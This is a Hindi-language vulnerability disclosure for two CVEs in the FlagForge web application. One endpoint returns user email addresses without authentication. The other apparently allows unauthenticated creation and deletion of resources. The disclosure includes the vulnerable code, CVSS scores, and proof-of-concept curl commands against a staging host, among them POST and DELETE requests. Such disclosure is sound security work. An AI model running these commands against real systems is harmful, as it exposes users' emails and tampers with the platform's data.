CVE-2025-59843 & CVE-2025-59932

1. उपयोगकर्ता ईमेल पतों का सार्वजनिक एक्सपोजर CVE-2025-59843

दायरे में / प्रभावित एप्लिकेशन: FlagForge वेब एप्लिकेशन

API एंडपॉइंट: /api/user/[username]

विवरण: यह एंडपॉइंट बिना प्रमाणीकरण के उपयोगकर्ता ईमेल पते लौटाता है। किसी भी उपयोगकर्ता नाम को सार्वजनिक रूप से क्वेरी किया जा सकता है।

मूल कारण / कोड संदर्भ:

const user = await UserSchema.findOne({
  name: { $regex: new RegExp(`^${username}$`, 'i') }
}).select('name email image totalScore customBadges createdAt role');

// No authentication check is performed
email: user.email, // Exposed publicly

गंभीरता (CVSS v4.0): 5.5 (मध्यम)

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N/E:P/CR:M/IR:L/AR:L/MAV:N/MAC:L/MAT:N/MPR:N/MUI:N/MVC:L/MVI:N/MVA:N/MSC:L/MSI:N/MSA:N/AU:Y/RE:L

प्रभाव: हमलावर उपयोगकर्ताओं की गणना कर सकते हैं और ईमेल पतों तक पहुंच सकते हैं, जिससे संभावित गोपनीयता उल्लंघन हो सकते हैं।

प्रूफ ऑफ कॉन्सेप्ट (PoC):

curl "https://staging.flagforge.xyz/api/user/No%20Reply"
नमूना प्रतिक्रिया:

{
  "success": true,
  "user": {
    "name": "No Reply",
    "email": "<REDACTED>",
    ...
  }
}

2. संभावित अप्रमाणित संसाधन संशोधन/हटाना CVE-2025-59932

दायरे में / प्रभावित एप्लिकेशन: FlagForge वेब एप्लिकेशन

API एंडपॉइंट: /api/resources

विवरण:

GET /api/resources सभी संसाधनों को सार्वजनिक रूप से उजागर करता है।

कोड समीक्षा के आधार पर, POST और DELETE अनुरोध प्रमाणीकरण या प्राधिकरण लागू नहीं करते हैं। उत्पादन डेटा को प्रभावित करने से बचने के लिए इन अनुरोधों का लाइव सिस्टम पर परीक्षण नहीं किया गया।

देखे गए हेडर (OPTIONS अनुरोध):

❯ curl -i -X OPTIONS "https://staging.flagforge.xyz/api/resources"
HTTP/2 204
access-control-allow-origin: https://staging.flagforge.xyz
allow: DELETE, GET, HEAD, OPTIONS, POST
cache-control: no-store, no-cache, must-revalidate, proxy-revalidate
date: Thu, 25 Sep 2025 15:03:45 GMT
permissions-policy: geolocation=(), microphone=(), camera=(), payment=()
pragma: no-cache
referrer-policy: no-referrer
server: Vercel
strict-transport-security: max-age=31536000; includeSubDomains; preload
vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch
x-content-type-options: nosniff
x-frame-options: DENY
x-matched-path: /api/resources
x-vercel-cache: MISS
x-vercel-id: bom1::iad1::v7k72-1758812623945-4e3fad4b58b4
x-xss-protection: 1; mode=block

गंभीरता (CVSS v4.0, यदि POST/DELETE अप्रमाणित हैं): 7.8 (उच्च)

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:L/SI:H/SA:L/E:U/CR:M/IR:H/AR:M/MAV:N/MAC:L/MAT:N/MPR:N/MUI:N/MVC:L/MVI:H/MVA:L/MSC:L/MSI:H/MSA:L/S:N/AU:Y/RE:M/U:Red

प्रभाव: यदि POST या DELETE अप्रमाणित हैं, तो कोई हमलावर संसाधन बना या हटा सकता है, जिससे प्लेटफॉर्म की अखंडता प्रभावित हो सकती है।

प्रूफ ऑफ कॉन्सेप्ट (PoC):

curl -X GET "https://staging.flagforge.xyz/api/resources"

यह आपको संसाधनों का _id देगा।

curl -X POST "https://staging.flagforge.xyz/api/resources" \
-H "Content-Type: application/json" \
-d '{"title":"Test","description":"Test","category":"Web","resourceLink":"https://example.com","uploadedBy":"tester"}'

curl -X DELETE "https://staging.flagforge.xyz/api/resources?id=<resource-id>"

CVE-2025-59843-CVE-2025-59932

सबसे लोकप्रिय